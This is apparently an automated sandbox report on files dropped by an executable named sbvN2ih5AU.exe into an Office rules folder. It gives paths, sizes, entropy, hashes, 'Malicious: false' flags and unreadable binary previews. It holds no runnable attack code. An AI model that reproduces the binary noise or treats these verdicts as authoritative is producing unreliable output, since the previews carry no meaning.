Preview:	<?xmlf...x..B.t<3M.....C ...g.f......rENF.f.......o.h..U=...'O...J..?.UhR..uB..`......@h......B:.E.\|.OV..(]........{.x.Vh.......,.C.<..z.sVkY..h...c..h.Jv..W.HE$.J..qc2m..l....!E....j..y..MI...7.](<f..Vh.s8.........Q.......%...A..F..".:.\V._..J.C.S{...]\..].:...'.a.u(Ml..ZX....a..]96............H..Wh.....s.~..`MIX.4.F.....<...KG8=qd..lq......_^$):..<'.#b:...sFn9I8..."..)o...M..?...?$....E]n..l.QXj..I...E;..b.m?D..,N..4.;.3PII..g...M.....t\A.&#.....J~....T...#..6.P...;"."...H..\|~.....%.2.....D... .IGE..sAm....6......HW~..bK...o4o<..u.jQM~........ ~.s......\\|......8..S.....gx..2.,RP....1L....%P.\..0.y-..r(..Z.6n..x.V...w_..[...y.3o...-.57.G.W.U.YTU.x.n.n7.....(.+..h).d.7n......h..fP.v.$.' ,...f......x.,.g.?...ue.....~.Lx{.<.....v.U.7.\|j....=.':....J)..G..J.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.976120185134833
Encrypted:	false
SSDEEP:	192:z7ypX2eiNUxnTeLvpi8O2tVB09vTToKaeq5Ti5a:zm52ei6xCfO2pOfaeUTKa
MD5:	F55464FB70A4B99816E9D5754210C241
SHA1:	A9BB88AF00179085DE5FEF70F9B60310AFD6C4E7
SHA-256:	ADD07FD217FAEDA7E580F6BA07E66E6174469AE5DEB5088495A8FE2918017F16
SHA-512:	B7923783ECEF334A2DCAC863DBC641325B1037BE0DF2E81699E6DF75B78C9A5B0110317744D09D6EA26D48016D5F41C24A013944E337E5B9D1453CDDBB2BDC18
Malicious:	false
Preview:	<?xml;....e....<....W.Z.....e..eW.Zs'W..0\|.a....Vg.a.......C.}....Q.....Uc....$@._.J@.gr'J...l&0.r.l.-`fW3$t.V..r...2Q..E?R^.%.......G...BMZ......[......'.(...n.<...xT.hN.,`..hm..:.a...c.'.-.^d.F.f.].}WS....4A/:wL.Z.%..."..6.'.6..Gd...~...nVWN.YH.-..7.a\|.6@.....eu.E.&.F~%?I........,...U.z..rO...........t.. .Y.T4r.C.s0.>\...#Z..............I...2.=a..r.7.X..Al.`.KBZ.....}..[..S.zo.02.5~.9..V..6@.\.N..q.......4........:$.v"G..y.....].].05l.... g).r..BX.... ..>..@.9.F..)G.~~...Z.5.yw......0.."QE.4.Y.O..g....0..R....u..\|.`6.\.Z.Hy.....).."..'.^.y!is..lw..o..x.....9.#..@y..M-.X<..@`Q..z.bf..o...u..p.fb.....5...9ew.z:Lv..P..}..8.......q..1]..,.%..#.......t..:...I.....\|...&.M...{..(L....a.u..\......D...0.....E2..lq.............b....^\|..0od..!.MI.Y.(7.+J..j&Cw....A.~./.....d..+...x@...e#...#@vG.r..AD...L..W....B...W. ....g..s-...h..g.+.!*igHR..........a...owm...7@?...D..V.....Tx......5...0F......\....t.0.Fq.Oi...../..1...{8k...y~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.852840305253208
Encrypted:	false
SSDEEP:	24:wHkkMsRS2yh0GxcyiVPO+KeHyRqe07IcEFTgnVqKIVrqGri9DHqV2bD:w0sRXy3gVmIHyRUDECVqKIVrbri9DHrD
MD5:	A65E2B4A7631B63AE8336F3EF8126B53
SHA1:	00726C5C41532592EAFB5E2404F533162CC67F2F
SHA-256:	4A23FFC2EC231A099A66B00172A46528DE986648F43D8C0A19963B97FEA14176
SHA-512:	1A1722862185625C3B577EC02064FE9018E77E657B9F8A820AB351F5BA783DA646405DF3FDED29DC11A91A39F43F802820A50F782434489B2DD2AADEAF3497DF
Malicious:	false
Preview:	<?xmlM4S...\Q..H.Js.&.U..W.-.(~.......M..~.+-r.......c0.S..g..xv....b.(....f..W..^3...&.3m..S4..np..q..b.l...<...g.....U(C$..Z........)9..3.].c...8.>..I#...A../.[../.,j/YM.R...=>....O.O.x....F..L..$.........E..+.-...mM.`.a....`)1.'.].....b{8.?..e.;K.;.98..0.$..^....w.z\|..k...TD...5.44.p.Dt9......#].^t...I....<US...nvV..l..8..D>..........\|r....x1..........(B....&#h:q.q....~.\.o...X.+...':...@..W..Y...g.....;hK.>..9...~........ bS..L...M W..66......l.<..B....@.U.,!. L......h~....d...Zh.../...;....],...T..s .2.'..k.....#...'.H..O.+.jl.Q:..1..e.A.Lge.&..c..R.....p........Z. .q_`\|..B.bF.M..?..V....L..+k.4...A..piHu..%........,............N.r\|`.E.c..g..e..d...x.'.........@@...`....^.-j.._.....#+.s..Ra.... ../......Rf QW...w.h....<......Aq.f......z-..{........O..`.7Vm=..w...x.<.Z.....2..&.H(.6.M..7.....9.\|@._..G.i..]..\.`......'...._..n36.!.X....w.....D......k.f.ZQf...-..6Dnbw.w?6.5Pr,v../g.W'..L.2....r.X....I\fJ...6.!."....7......l~I:4...:dn..jI.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.844735592093697
Encrypted:	false
SSDEEP:	24:hmMpRkVUnnT5a+VzGBEaC6K5wog4QxMRvcyUkXrzPnPa/RbarKhkNkHjR22bD:hvpRkVUnnkqzxf/u94T8kXfPMgKh4kHj
MD5:	9888F60B707ECB398FF6CFA60045172E
SHA1:	B6FA6DE60F19E8BD7D6634A0810DDB2160B9A666
SHA-256:	0E2D9A237C72C75C8373B8FF4E616B02088B621718224FEFD7740D4A7AF54F73
SHA-512:	42485D94084349949520ACA38125B80E23119B5923AF1EFB79F1B09C4D2478B9B9661BBB839EE56B98B8320EE161D4937AC5FDFDE1EE0E3DDD2B9FE8C3A64393
Malicious:	false
Preview:	<?xml`.zxaM..%P..Y.g_.`o.....5../....\O.@....\|...{..y.h.md.o.pP`.j....=^Jh.E.t....h~5...^1. d@s.....o..mC....'..............z...m.V.`.zO.=....e+..f....'.vp...t....U.... D..l..D_...@..$.....u:...vf]..5..!.o..9.<1{.o....'..."............"..y..s.j..w.r/....uJ[.0.H........H.%..K.\._.......7....};.5ev...G.Z..{.k i..S..o#N........f..a...UD[.F..\>3t.....C....4z.."1./.h....2..Hh.Ky.^.YMB......0..,..c....t....F@/...dZ....P...H8.p.4S....AM.......8B0Y...).>......s..,U.+v;.)...9..c.$.;.<2.l..y.........Zu....x.(AR....u.J..X.V..jo..8..Rln...3...j....#.l.I.....<.....Y......9...$Zr......Uh.Q...X......s..]m........s.....*.&...+.?...ww^..J...d...j...J...0.r.JT&...6QIo.N....~.A...g.....Th.."Oe$....fU..(..0.e.o9...#..N....}WiI,....`V.a..c<..G.,.p8...\|....4...O.A....}..'....8.. ..I9.....3.[..PC{.ZsG..jM....x2B....mL.FY......S...)~..T@.......hFBz.O.I.R>..4../C\..?p".k.rK.Wbj.`<).~..Ed$%.z$....gx./.x...:.@.I....X.a.B{..E.....{.})..%...HeA..ZW8..c..Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.772871850868958
Encrypted:	false
SSDEEP:	24:o1/cT4Vgwynv7sUnYK0oVvIsh53/RbjBaINlkLerfA2bD:Mxyzsk+oVQIb9aYlkMfzD
MD5:	186CC9FF23EF3A95C6905B65C6354F19
SHA1:	26331E5C9DD80221FEC60B19F03E7B81351233A1
SHA-256:	FA5295583A7284024078440A6BE1020FC09A5CF94EEBE3506AE5A9DB4DF49B2F
SHA-512:	3A1E334C7A3AE0F9D65DF5FC51339685316190B21A3E5A14C94ACD14353341B2FFCC1A12E4A25CA0CA60A464D5046C6AB09BA8641F2057FFDD74E62AFA1627D1
Malicious:	false
Preview:	<?xml3..=....+..RU......Xa......(E=.<q.<.q...X.p..e...T.}Y6.2.....U_..)....l.c^..ZMt.)..pt..i...P.a.\..`c.{..z.7j.V.Zn.2....~...).jq...........$..D...........>...m5hQ..-..t.,FC.^.a.9./.......M.....<..[/Q.E..9..B...8F...g..J.#..k.s.y...#@.c8$.?..MER/.G....p.0+6...c..S>...$..H:H....@......J..=g5..V.K:.a.L.B].?..o.....!...r/!...P.^+\|5....u.<.RD.(%Up\|i4 .t...S.j......m<..3.`..x%..h......d..i...Y=zO}d..k).P.../.i.......l.# 3..,_..`...+Vhl...4.>V..\w...'1!l.....=....E@..a..>wr{..G.?C.P2..<A.Z..<...{s.3Z.... ...HQN.S&.C(VB............B..[\*l..w.....4...H348p>...eB.v..hbU..L..3.W.{.QA......tz1.g.b...U.....J.{.E../...$.Lz.b..0...e\.cS.v ..K.}i..Y.....R=....m......".?..............GBQ.xB..N4},..{;h.....1._E.p.K ..._R;X.XO..N....us..:~..X.....6.s..B..n.O8k.1..........n....i$.q...e.....!.&B......c.0.....f..L.9S.....u.K...s.+x.<z......N)..y....;8a\..&..75..[..Ez......m.\.%Lm..\ZU..Y...T.'..^.{D....^.P{^'#6Tk.[Dn....%q.$R0u..+.ix...E..R.}.1.mMsRx

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.9347120047206205
Encrypted:	false
SSDEEP:	48:bLDeEL6LhzHddgnaAstQ780ywO1Y+QbGFHRlPCqfLXyRTtZsvv25PCuD:bLEFzgaLtQ7VFiCqTqcnuCW
MD5:	9E8F9169B272ABA2D76D14B1843147D3
SHA1:	1A8B02999DA5C8D2F42281B1826F06720BF60DFC
SHA-256:	9A8E4B9F6FB13F0DFE9156F89727200DEAC693FFE132DC2FACA4286938CFA909
SHA-512:	C4A31F670E0AE9AABC6BAFF87A2A013A168A82454F76FE19238355545FDF90B469A9B33930268A70DA81C364130CE15FC08DA55299E3B17944AFE541F8A326B6
Malicious:	false
Preview:	<?xmlzJ.....mer.<j..>T..G...{.,S.....0}h.7(4.g.k......Ur^.../.1fG.-d......z:..y.w....E..0 ...Z.. =.N..U.0)i.\|.]\...{..]l.....<..T.,d.\|.H...T.d..k...^...}.h..B}.cq..t.."+....\*...(..HP.(.4.W,..9.. .[C.B.M.G{+<3...s1"./4/x.....x.......K..\|...=&b....).R..8...8z.5.O.;Z5....$..0f.e..&.d.n.E.5...0p.....`uc.....1...x.QX.<?.1.1.?e.s......k.v....,.......'. ...[p.NyE...>.2,z....\|.S.....%:.l.x.Oi..tW.f9..8i....4<....q.-..u....p.>?-......d...m..P/E_-O2...........'....&. .. .."..t...~...4f.d^+.Q....@....Dj.;R.3...+.m..Vx..c^.ZD#h.V..0Ww..}..\|1.....U.df9B.=..3.f(.....t..x.....l..)...S..`S=..H<...J..L...{.y.UZR)=.f..NG.f.p.<...G.l...}.w........%....0b2.g .&.xI!.M..]wF.L..6h.T...i.z.N..:.c.........2-.m..{..?\..ct..`..\|..UX...Sm...............rH~.+..m..)~{p..~..='>......3x.... _+.EW.!..C'..........c...i!..].^.$..7v....o.......:..r...T.W.q.s.Y.6q..Ri.[.P,.......=..m..H3&..c.....@.>E....W...2z.H..... ...s.x.#Y....?.5.RXb.Z........2....6E......H..V.w)B...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.826280465100167
Encrypted:	false
SSDEEP:	24:BjIgdinHE0/rPYb5W8D/gnl4aq5g6FZUCoc/rl3E/NwRbva6R42bD:9GHE4TeIE/gla5hFZLx30NwBxRrD
MD5:	B09C7FF6C731E38B889C110F3ADE81E6
SHA1:	A213390594585E2440B58FF27BAC4F43982C1B4F
SHA-256:	1E1CC3C3AE9222CAE1D05A0D618445DE1421512A6DF9CAB9BE69659C3037801F
SHA-512:	643EE5B67C800883567CABB8C25B539BC3B8686ADF8EE11ED782867AA6CD610AA757FF7BCD7342373ADB9F8C0B17AB886FB10FC8B3201D711C1A9F62AFB143F0
Malicious:	false
Preview:	<?xml.iq\Sn#...s...Y.Ao.`M.2..n2...\|...]...h...P..2....y........[.E.=}.......D^^..;......f......{..C....o...R!.......i....y9$~r.n......A......+6D.onR.N.R..%....A..>"......./]..[...cdX.L...9.............X....B2.\...>.V.'.....T..C..C.....W["..&...D;....i3'..W83......2.t..........hp.N.p.A3.j..>.q.w.a....5....l.......#K_.....^...~..:......G..U..<.....{.1. ..../FB...Y....u.o.V.......Kw.P.H...:...4........j...........>..c.CKD_.fjt.....oK..+..h...mxS.@;...J..;;......+..rue..Q#rl:.].y...\|a3.O_.a#.C...b.K.g....M...n....O1.Z&..ut.z......S...V...m.B....1... .....6V.1Sw(.X.9. .!b..6.d.T...LL.s.}......5.&K!.h.....:o.i.J.g7t....Dv.9.#:.t....vG,).:...........r}E.oFl.,.J...c...5.Vo\|...3... \|..(..hW.c.J....Vu..B.Hm..o...w.g..N....~.x.n.......H...3%.3..CwA...{......8w.G.~....x....g..o.oM(K..U.s...P.R...:r.p=.2.....j@.S...8!...-.3fx...n.o.a."..8.H6....d..R...........}...1.q..iH4.....X. ..pk.a..!.(..B.t.....c9..i.(.x.2Id...=.....f.H.._.u...K...m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.968796459894214
Encrypted:	false
SSDEEP:	192:/1aqwwVmr5CnKzr65yagP4DP0aBBAu9Xy6mKBWkgU/ju1uuT:006QKq5iRafAui+BRl/jezT
MD5:	405CB11E3CCFF6975687672E18646A5F
SHA1:	4C5D31CA3846886B83A4600719C8C60094A3D902
SHA-256:	99C7D2D1C5B8774B35B1845959A1796153652744E8BB258480C85809527B8F3F
SHA-512:	21BD4B9F6000C4643F1090DEDF4763447000886D0675EBF689BEFBCD9667D88FC482FCB53AD3634C8E9C70CEE58A5AA791D63D9CF80F9E967F99AFC625E6121D
Malicious:	false
Preview:	<?xmlL...G.....o..L&./.Zc........P2......K&.$o.3....$.QA.&a:..G.G................l.0.+.;E....m0\|(...].$r..N.>......e.w......].........Ft.h.._..k..T .s.PD..X..V..`Jz.k..rv.......;....1X ~!E.Q.aT....@.....k.........[.8~\WG...{.gs5......J...Qf .!1h.Ka.\|3 .G.!&.......N...{..yq./.3..G..3 ..E...3?0..!,.......&!o.T...gO.....-....NR.F../...N?^.H.t.X....F..&.`l;z0.+.l.PzPV`..)q..ws.r...?iq._...Iam.5.t..3.0.....ir.h......%...^...s......&o\|........7..r..........KS.........t..K.....& .......+.mt:KC..N....A!....Y.S)..E.j.s..O.....O.U8.@K..Yr..>.2.n.i.v.(L....p....uE.-M..#VJ.....h.f.WG..0N...$g$.z..Y%m.2DJ..W.O.SY...6h........h......%.!]......y.F...rt...7...._..P.k.G.p/\|.<G...x....Lp.:{.(.!..3.-...`....B.o..u....u.-....O.C3...zCHGu.2...v0o%.......A...`UXQ....-.X.4]....R..$.._=7...=Z.t.b..W.#..K .['*..?O....01..x-...Z+u......V.RX..4...9..R.....T.\|..55...._.i.0.......-.]........[...L.Tu3q..n._.....0.e.......3%.G.Oj....gc...w.W...s...r.b........$.E.1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.723343404431191
Encrypted:	false
SSDEEP:	12:HcokycG6EW6WUanFpu+U23y6q8N3MdYDvftGewcQ+faGHsPXQPX8y1lVyC9PQPWC:XCqWUaFpu36XN6YQcQ+qAP0RWx2bD
MD5:	9B28B3BFF16918F0E1B7F075AD82CAED
SHA1:	DE120600012F327FA7FEF893E8ADA6C996EC2DF1
SHA-256:	4150938598E1158DD5C86201DA878F0CB5A17AB4A8B008DF116BC438C596EC56
SHA-512:	67563578D315C32CC79F5B01098FE5C96E122216048F8FBB0888B67AEF5274E1CD73EF12CC2C92D89E9588D5D41C0B9653816945F3109FB194432E39E0F28BAD
Malicious:	false
Preview:	<?xml.6.....+p.W.r.+...R.....4.q.j.3V.R~.\|../&..419li.vE..z..,g..[l.. L.\Z.n<..3<!E..q..As..)_.q.8yR1a..w\|...I..?G....:{...y...~....q.8..f...dh..F..aQ..l.?.."#..."x.....\|X.;.g.....j..+Cn6..M.PF..%...5K...R.<..-...?e...7.....1Rxt-fu..f.....T...?...soH\....Lx...U.j..G.... .:..UV....;..o..D..D.^...F...}.........<..[./\.\.H....A...p.....1M....Lu....Y..?1..6y.C`.\|..e..W..e........Jsbi..".3F_......ct(..=...-1....%0..J..........L.....1....(.....r.....e..c..\6P..i.......j.....+.d.<.,.6^..\m......7.."....S...i....8...O.B.1_,>7..tq.x......f.iT..K...g.GH...cH..C...+c..p....?.GLx.b.e..__..+Cav......C.+..>.y......h.SB-.......@...C..t.Uy.u.u.G`e.{v:.%...Z9B..&M+..h..W...m.S...<.?...=.M..l..#.iHYX......p'xUmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.9266850455817925
Encrypted:	false
SSDEEP:	48:46jYyWg2Blq77d7Nok+6FT/hwwtuzsELx8J8uho9lIIRhgbMW/DVqBsUD:46jIXB27rl+6pvuz1xb/3ngngKA
MD5:	DC3F00FF2D6E16CE5AC4F4657EC9623E
SHA1:	0A20E851D70DFCEAC68B7F260191120F1486B046
SHA-256:	975C5AF4106C124838CC1613C4568789FF5F389AA8C8552DC59DC6A6EFB00A25
SHA-512:	1192A279416399273CED68D224A86386224C82BC1C8CEBC3FCBDD3A04440FF2A999E9FDD68F014489131D5E5D63351F77ED05B834D4ADF9ABA1A795BEBD74E1D
Malicious:	false
Preview:	<?xml....~ZA....d..;..S....m..Z.uJO)].v~S.7+.C...\|}.....c.]..,Y......2p.`O.C.Z......=..LI....7.1P...=O&.@.U..V.M\.o9.&$m.)..m...Z......2V_o.V.^...dxM]......<.X...:?6..1....F.v.....9.s..W.Ah..r...~.2....A0..k..m..W......$.....\|.q.$...y.....+'s.no.9j#....q..5..e...o[.k....;..9 ....,.!.......BVL..3.L.......J....#.c....`.L.u..%./.k........T. "L.....s_UA..Y....A.(-"1...+5j..TPO...l.B!4.4.[.....=.r.T........b.t...P5...b..m..Z..U.x......6aZ@gxSi.x....M..f.js8T..B...L.M...%...._)F#c9.<.9.H8.......V.1.....!..R!>.T"......?0.W2.aI$}..r=..:...h....2....f;......"..........e....-b36A....Q....[l.\|B..S.'>.1ho....,.)..... e..KK.X....x...;'<....=..b...)...(j...7$..T....(...........Y....<.._..on....?2..$VL\.w..q....._..ox...,..z....Ikn.g{..Q.k..z..7X..(.e.V.=`.C.-....?...+zy.C.@....C..(.......2\..v...D.y..."=.......#S...3..>T..kWs.....>.8.Z....J...8.yP<......v.....\i..O.:p.W..B{..`..qPE..e0.3Uo......R...l.P..m.J....O.[..LM7.. ..&..U.3.sW.]...Y].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.842922429354215
Encrypted:	false
SSDEEP:	24:zwuhqmMvdAdCGc4W3dW5xjSQ+IDi0qTaUwcu/om08k2bD:zwuENvWCUW3exje6i/nuAm0YD
MD5:	9A26763269AB90287554CCC68280BA27
SHA1:	2CD114116D9F43F49DC1E445F07EBAFF5E339B09
SHA-256:	86914EC97F6AFF87E47D51C4418B5F7604D1F01279605257955D9C120DCE34A0
SHA-512:	9B895E47BB27B04E7C0FAB2A827982C3327515E2D04A3FDF2E57EDCA341ABD288068265975ABB912EBAF736B9BC89F6013CAB4233B5573FDD7FC1B06D8C89837
Malicious:	false
Preview:	<?xmlo.BV.S....e.=.;.Yq.Gn3..H.U.i>.,+<...U#o..x.....9/[i.P.....iD,...K.,.O.c.6.N..:g&.d....[A...y...tc^\..]m....Z..=.R8..B.D4_f4..{HQ.b....`(.1....\ ..w....-.1.>........_....&..=..O..O.!..."....a...[5..{{...{..vr..PC7.....y.J.).8...Y.p.&b.....U.!.........Y.p..v..d`@Yh..6Cs.D..#Y..v.6.>..E=.".9H.^..% .C....))...!.zA6.t...Zw\...5).....d7.z.P.h.Fs..%Ae..........2H....'EM.......!..DT6.K8.l...s.........p.f"....n.@A........I.a.!%...~-.&...2;..f.Sx!.........D..I.T...+..9....C@..:..o.9T...&..\..T]..][.I......Q.T....M.=f..${........u.b.Y a..Jj....u}u..f..+..7:.].o..`.3.%z.8.K!.........v.07- S.........PW..W..F.j..y..F..n2.Z...............O)..&..........C. .....B.eA%......=..j.A...M...!u...D.>.,...j.1.!#ce......\.L..C.2%C..^.*....E..x...ho.%p.XzQwp@.j..=....l..+...b..IL..D!.....1..5c...H.V.o..P@b.Y.k...p..&. .{.......{.ry@...9..S!..3.o.hItU{LK..j.z........eGF....\|N..DS%.....s.s.K.z......-....5.......+.b.+.i.Tk"y'q8..l..N....Ov.e,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.928317627678932
Encrypted:	false
SSDEEP:	96:g56JCgQro2f+Dl0uPJEueeDAdMrbmHRVC:g1zo2GZNJ4MWfC
MD5:	8B4868A4B321C4C7FC5C6A4C8687392F
SHA1:	5E4081C166CA97A90D4CB6E1A16F1FC027E4B201
SHA-256:	239155C280D5CE4E9AB5B3BADA4BF1B200D5A60A6D747754A39E175B7783D94F
SHA-512:	266FA53AF67CC0B381F58B96E413D7A44D5F3F7D93555EEA9CD4064A081AABE5139431EC0E1E5FDB9DA637EDB3FB7D4F0675FB4D9836D8EE802E017FEEC0C6E0
Malicious:	false
Preview:	<?xml.T....x-...z....~@..l,.!..:.x.....=.S..U.._jT..4.&.....>o0....QP..d....DEr.<z.. s.vT.<0.\.?.9..(...y...i...$..Lm.0..6.3............sR...U.....x..j..%.."..YO..}.,>..a.......r...Yi...zk..g.../..P.V....u.f..]...."G..<y.<..Y.#..$..:..._..c..8.Cz...U.J.E.,R. ..B!.F......c..f.Psw...KnF.'.#.59....:.%.q...Pt?..!j.....\.?.s..@..BV]..A.....e...k]/.+j._....... ..q..b. ..M%..M.<.".%.Op].$.KI.{cG..C.`....g2..\....19.....Hr.K.w9.?tU...I.gT......Lv..z=..Y........z..=... y.....+.z..1 '`.tU...=lV4...{3v..,.P..\H.g.^.[...X`..j....P...z&o...S.2.T..]...3;N\W..@=y.C*K`..m..c!.....n.^........Z..^4....[g...6."..D.1(H..W?I..$...w.T..Ol.....]Q(.O.5.7...U0....i.!.B.3B....2...e.F$...7.........R.zt`.A.."..D.V...+.'..k.Z......0..-......}..... .!D.Dx.\....Y.m.%D......U.1..r..5X.j..$.u..fj}.h8S`D.,-.aN.....A.Z..+.}......\|o..Y7.O?.!......q..c..@.......G....M<....oZ,."......'.O..sc...\.d...........<h.#.0.JD7.......O..7.N.....{?%...&E...{..D..9j...+Pv..{`.2..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.910394900065236
Encrypted:	false
SSDEEP:	48:RAZoVWOP74yVeCmrAoDjqce8Q73PyhITgH/zWd+xoiLYuD:SoszoehrAo6sQ73Pykgtm0t
MD5:	5BD4F67D639B397DBB5E5EFDA2264B34
SHA1:	12F0F0A4C2F8B88CC22F1DBDDC9650B1BD49C9C3
SHA-256:	2A19F98212C22E37134D62E5D3C749DA16CB9C9AD1F3D9136734CD851BCFBFA1
SHA-512:	923F8BE5A0BCD245747C722272B13AA271CC93EC390C61C646E18CEF9540F42782E1FD915B38B6352B53367B1566433D323198CEA8AB9FE468F176FF4F685F44
Malicious:	false
Preview:	<?xml.vQNS.,b.^@..<........r.\|.....w.37.j...oqt5..B.y..6.1.>.."y3<.......:.em..!.}.....C.^..1..\|....&...."..X.~...\.Rg...jT..gp.I..>...l7./)..~w...f.....!..Dg4'Q;?2._.1.s\|[...w..../..j.!..J...iX..'2..;..-~5.l.:...=..L..v...V$..0Q.........4...v.Q)6%U.Xn..r......P.."\.hp...~.\..J,...\|...t...@f..lzq.e%.<..G..7....'.......=..@@..wt@.Gq.x......Z.....NZ..b.{..i(..eu...q.x.[}...D.e..U..]q/.<5..c.!..wfe........O..-.)..a%c./k.!C..a......E.#..te......A.,...#.Ry.93.t0H.o.;.9....s.I..`..y.i.H.T.E..e....4).....u.H.).g./....vd:...:?....9..8...E/...3.].......J=E.........>m....<...K.5.Y...$.C=f"....z..:........q.....19f...y...(.z6..._.p.nO...+...r..y..P.[..v#.D.7.......B.@.5..Y....f..4p>..g#7..0.i.cN^y8j>`I..Ig.w..8...].X.../..{"...4CU1R.3...&:....+...\MR.z.....d.......1.._.(6;.jP.oM.Ih.j5.9.q.D..W...Wj.mB......`.!....Z;...r.zT.N...J..@.&~\.\|....64\..c_.l.V.f^........W...(T>.d...X.k..U..:..ml....w.K..o..A"...[6.....\.H3..76..P]..\|.Lrt,.t+.......g....o...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.9751382196439256
Encrypted:	false
SSDEEP:	192:GVINvNhR0yfNG7sAXUM5Yuwhzn8iGjnApe0J:GVINVhR048sAkM5jwpnKjSJ
MD5:	33C87E57F90E163CC135F90A70CC36C6
SHA1:	47A851A052AD03DC44442D6E973587EB2F22E1A0
SHA-256:	E752C782C5CC08529EBCA42FB985B502296689B9241FC9973684548C906FAE4F
SHA-512:	850CB701D62B61B7D4A69DFD3E919658286A4BEC8B19E2EBE195E6806DBBEF48AB9D20625F5A01F310A4C5CE8F663498494FEC8BF845B03947C54D2381487634
Malicious:	false
Preview:	<?xmll{>..&.-.......w..%..QJ...L..U.3..F.tT..ya.F...1.o..Ug[......jf.....D..o............3..L.xc..qlU..q.uc.3.kD......$..@P.1n./.{y.3...s.p.....p.d...&....'..`........4r..~\s.ZK...x...w.j..X..9.3.l}....O.P.SY.]b..Y. .J......n..h.K....0.A..~...:..{...X.X}.O@}.e.f...D.....?..j..P...E6m{.Bc.U..s.Ec..i.....a0..,.....cX..k.Y./.5.!.0.$..9....+.[)Z.d....;V... ...H0P...OT.......Q$s.HOq..r...Z.....i..k.3U((... .9t %)\|.[.l.t...,s..../.C.!..O....z./.YD.n......]......._.....e:&..Y...T..>].....ap.4.<...@.58R..g.wem=.%/.-..J.....$.mX@[..@.ZvHR....yXW...Z.k..i...4.t..R..Q..0....nb.6'...c5=...Fs...u....L.g..X.!b.l.&...:...-.@....\|....G.6+.,...-.......$.........tm..+..e.=J..]m..f?L.i.....G.h .....@..D....\|.<".a-U.`...O!uHz....6=.h.M.G.:x..OD.fQ..&..&........o.;..........$l...V.."..k.wIzG....h?.....Q....V..X..\..B3..G.MRq..1..z.....w...t.UF.M.f`.>i.....-...).....3.L&/......].\.HD.D..G.P....\|f..t.(......&.....1...E....<Gh.5L.v.....bCAp.syx.e.....C.n...!=w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.957141653349381
Encrypted:	false
SSDEEP:	96:SL7ExLimuAPnzchdvcrfEOGZqv8og/Wy6tE0DTYPIXhZ:ZOGPzcjczdGEv8o06a0/z
MD5:	2681C53ECD1C5387667263B4604627DB
SHA1:	65B3F61179861A140562EDCBEDA1136A68FCF657
SHA-256:	526059AD2448BE204C7B13A77AF2B259A1BBA90FD7C9DD8F12EFEC82BA19E4C9
SHA-512:	BEFEB3FBC0AB5B45F067FBAF0474589358DA1BA83F586B37AB763C0240EA7C1B7295CE501CF8D2EC413F74D3F717DC4D22D020636A78676F89529E0BE1CCADED
Malicious:	false
